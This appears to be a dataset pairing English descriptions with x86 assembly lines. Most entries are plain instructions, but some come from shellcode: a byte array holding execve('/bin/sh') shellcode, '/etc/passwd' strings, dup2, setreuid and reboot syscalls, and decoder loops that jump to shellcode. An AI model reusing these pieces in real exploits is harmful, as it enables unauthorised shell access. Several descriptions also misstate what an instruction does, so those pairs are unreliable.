; decrement ecx and jumps to the main_inc label unless decrementing ecx caused its value to become zero
loop main_inc
; decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
loop main_inc
mov ebx, esp
; decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else point the ebx register to the stack register
loop main_inc
mov ebx, esp
; decrement the counter and jump to the main_loop label if the count is not zero
loop main_loop
; decrement ecx and jumps to the main_push label unless decrementing ecx caused its value to become zero
loop main_push
; decrement the ecx register and jump to the main_push label if the contents of the ecx register is not zero else move the value 30 into the cl register
loop main_push
mov cl, 30
; loop 4 times
loop rot_decode
; decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label
loop ROT_decode
jmp short Shellcode
; decrement ecx and jumps to the up label unless decrementing ecx caused its value to become zero
loop up
; loop 4 times
loop xor_decode
; define _loop_dup label
loop_dup:
; declare loop_label
loop:
; define _loop_label
loop:
; define _loop label
loop:
; declare the loop label
loop:
; define the loop label
loop:
; define _loop2 label
loop2:
; define _ loopinghere label
loopinghere:
; declare the loopinghere label
loopinghere:
; decrement ecx and jumps to the decode label if the contens of ecx is not zero and the zero flag is set to zero
loopnz decode
; decrement the counter and jump to the L1 label if the count is not zero and the zero flag is equal to zero
loopnz L1
; decrement the ecx register and jump to the L1 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the shellcode label
loopnz L1
jmp shellcode
; decrement the counter and jump to the L2 label if the count is not zero and the zero flag is set to zero
loopnz L2
; decrement the ecx register and jump to the L2 label if the contents of the ecx register is not zero and the zero flag is zero else push the contents of the eax register onto the stack
loopnz L2
push eax
; decrement the ecx register and jump to the L3 label if the contents of the ecx register is not zero and the zero flag is zero else move the value 7 into the edx register
loopnz L3
mov edx, 7
; decrement ecx and jumps to the Label1 label if the contents of the ecx register is not zero and the zero flag is equal to zero
loopnz Label1
; decrement ecx and jumps to the next label if ecx is not zero and the zero flag is equal to zero
loopnz next
; decrement the ecx register and jump to the next label if the contents of the ecx register is not zero and the zero flag is zero else jump to the ecx register
loopnz next
jmp ecx
; decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register
loopnz next2
jmp edi
; lowbound label
lowbound:
; declare the main_inc label
main_inc:
; create label main_inc
main_inc:
; define main_loop label
main_loop:
; create label main_push
main_push:
; declare the main_push label
main_push:
; define main_label
main:
; declare the main label
main:
; main function
main:
; create main label
main:
; define main label
main:
; allocate memory for the marks array of words and initialize all elements to zero
marks dw 0, 0, 0, 0
; allocate memory for a 12*10 quad-bytes matrix
matrix qw 12*10
; declare the me label
me:
; define me label
me:
; define message byte and initialize it to '/bin/sh'
message db '/bin/sh'
; define message as the byte string '/bin/sh'
message db '/bin/sh'
; define the string message and initialize it to '/etc/passwd'
message db '/etc/passwd'
; define message as the byte string '/etc/passwd'
message db '/etc/passwd'
; allocate memory for a null terminated string 'hello\n'
message db 'hello',13,0
; declare message_label
message:
; declare message to contain the bytes 'hello world!'
message: db 'hello world!'
; define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
message: db 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
; move the value of ax into memory at address 1000h
mov [1000h], ax
; move the contents of the al register at the memory location specified by the operation [bp+0x07]
mov [bp+0x07], al
; move the contents of the al register at the memory location specified by the operation [bp+0x0a]
mov [bp+0x0a], al
; move the contents of the al register at the memory location specified by the operation [bp+0x31]]
mov [bp+0x31], al
; move the contents of the si register at the memory location specified by the operation [bp+0x32]
mov [bp+0x32], si
; move the contents of the bx register at the memory location specified by the operation [bp+0x36]
mov [bp+0x36], bx
; move the contents of the bx register at the memory location specified by the operation [bp+0x3a]
mov [bp+0x3a], bx
; move the contents of the ax register at the memory location specified by the operation [bp+0x3e]
mov [bp+0x3e], ax
; move edi into the local memory address ebp-4
mov [ebp-4], edi
; move ecx into the address [ebp+12]
mov [ebp+12], ecx
; move the contents of ecx into the memory location specified by the operation [ebp+12]
mov [ebp+12], ecx
; move the contents of zero_reg into the memory location specified by the operation [ebp+20]
mov [ebp+20], zero_reg
; move zero_reg into the address [ebp+20]
mov [ebp+20], zero_reg
; move the word at the address ax into [ebp+22]
mov [ebp+22], word ax
; move the word in ax into the memory location specified by the operation [ebp+22]
mov [ebp+22], word ax
; move the contents of eax into address defined by ebp+var_a
mov [ebp+var_a], eax
; save dl content into the space memory at the adress ebx + 6
mov [ebx + 6], dl
; move dl into the address [ebx + 6]
mov [ebx + 6], dl
; move 110 into the effective address saved in ebx
mov [ebx], 110
; move 123 into the effective address saved in ebx
mov [ebx], 123
; copy dl content into memory space at the address ebx + 0xe
mov [ebx+0xe], dl
; move dl into the address [ebx+0xe]
mov [ebx+0xe], dl
; move eax into ebx+12
mov [ebx+12], eax
; move al into ebx+7
mov [ebx+7], al
; move ebx into ebx+8
mov [ebx+8], ebx
; move 25 decimal into the memory address ecx
mov [ecx], 25
; zero out [ecx+4]
mov [ecx+4], eax
; move eax into the address [ecx+4]
mov [ecx+4], eax
; copy al content into edi register
mov [edi], al
; move decoded byte to edi
mov [edi], al
; move the contents of the al register into the edi register
mov [edi], al
; move al into the address pointed by edi
mov [edi], al
; move the contents of the al register into the address pointed by edi
mov [edi], al
; move al into edi register
mov [edi], al
; copy al content into esi
mov [esi], al
; move the contents of the al register into the esi register
mov [esi], al
; swap al value with next byte value in esi
mov [esi], al
; move al into the address [esi+13]
mov [esi+13], al
; move al into the address [esi+22]
mov [esi+22], al
; move al into the address [esi+34]
mov [esi+34], al
; move esi into the address [esi+35]
mov [esi+35], esi
; move ebx into the address [esi+39]
mov [esi+39], ebx
; move ebx into the address [esi+43]
mov [esi+43], ebx
; move eax into the address [esi+47]
mov [esi+47], eax
; move the contents of cl into the byte at memory address esi+eax
mov [esi+eax], cl
; move cl into the address [esp + 1]
mov [esp + 1], cl
; move esp into the address [esp+4]
mov [esp+4], esp
; sets esp as recv buffer
mov [esp+4],esp
; move al into the address [esp+57]
mov [esp+57], al
; save into esp register the syscall command Ôint 0x80 and jump back to _stageÕ
mov [esp+57],al
mov [esp+58],ah
mov [esp+59], ebx
; move ah into the address [esp+58]
mov [esp+58], ah
; move ebx into the address [esp+59]
mov [esp+59], ebx
; move the contents of ebx into the 4 bytes at memory address var
mov [var], ebx
; move the contents of eax into the 4 bytes at memory address var1
mov [var1], eax
; move al into memory address a_letter
mov a_letter, al
; move 0x80 into ah
mov ah, 0x80
; move the effective address of byte_tbl+2 to al register
mov al, [byte_tbl+2]
; trasfer esi content into al register
mov al, [esi]
; move the contents of the esi register into the al register
mov al, [esi]
; move 03h into al
mov al, 03h
; execute __nr_read syscall
mov al, 03h
int 80h
; move 04h into al
mov al, 04h
; execute __nr_write syscall
mov al, 04h
int 80h
; move 05h into al
mov al, 05h
; execute __nr_open syscall
mov al, 05h
int 80h
; move 0x1 into lower byte of the eax register
mov al, 0x01
; move 0x01 into al
mov al, 0x01
; move 0x04 into al
mov al, 0x04
; put the syscall 0x5 into the al register
mov al, 0x05
; move 0x06 into al
mov al, 0x06
; move 0x0a into al
mov al, 0x0a
; save execve command in al register
mov al, 0x0b
; move the hexadecimal value 11 in al register
mov al, 0x0b
; copy the execve syscall numebr in al regisster
mov al, 0x0b
; move 0x0b into al
mov al, 0x0b
; move the code of syscall exit in al register
mov al, 0x1
; load __nr_exit syscall number into al register
mov al, 0x1
; move the value 0x1 into the al register
mov al, 0x1
; move 0x1 into lower byte of the eax register
mov al, 0x1
; save 0x1 into al and bl regsters
mov al, 0x1
mov bl, 0x1
; push hexadecimal value 0x1 into al and bl registers
mov al, 0x1
mov bl, 0x1
; save hexadecimal value 0x1 into al and bl register
mov al, 0x1
mov bl, 0x1
; setuid = 0x17
mov al, 0x17
; move 0x17 into al
mov al, 0x17
; set the offset bytes to point at the end of the program
mov al, 0x1f
; move 0x1f into al
mov al, 0x1f
; load __nr_fork sycall into al register
mov al, 0x2
; put the syscall 0x2 into the al register
mov al, 0x2
; move 0x21 into al
mov al, 0x21
; load __nr_access into al register and ping kernel
mov al, 0x21
int 0x80
; load __nr_alarm into al register
mov al, 0x27
; save setgid = 0x2e into al register
mov al, 0x2e
; move 0x2e into al
mov al, 0x2e
; copy the value 3 into al register
mov al, 0x3
; load read syscall number into al register
mov al, 0x3
; move 0x3 into al
mov al, 0x3
; move 0x30 into al
mov al, 0x30
; move 0x33 into al
mov al, 0x33
; load execve syscall into al register
mov al, 0x3b
; load __nr_dup2 into al register
mov al, 0x3f
; load sys_dup2 into al register
mov al, 0x3f
; load sys call for dup2 into al register
mov al, 0x3f
; move 0x3f into al
mov al, 0x3f
; syscall 63
mov al, 0x3f
; execute sys_dup2
mov al, 0x3f
int 0x80
; load dup2 syscall into al register and execute
mov al, 0x3f
int 0x80
; move the value 0x4 into the al register
mov al, 0x4
; move 0x4 into al
mov al, 0x4
; move 0x42 into al
mov al, 0x42
; load setreuid into al register
mov al, 0x46
; move 0x46 into al
mov al, 0x46
; trasfer 5 into al register
mov al, 0x5
; load open syscall number into al register
mov al, 0x5
; move the value 0x5 into the al register
mov al, 0x5
; move 0x5 into al
mov al, 0x5
; loading syscall value = 0x58 for reboot in al
mov al, 0x58
; load the syscall value 0x58 for reboot in the al register
mov al, 0x58
; load __nr_close syscall into al register
mov al, 0x6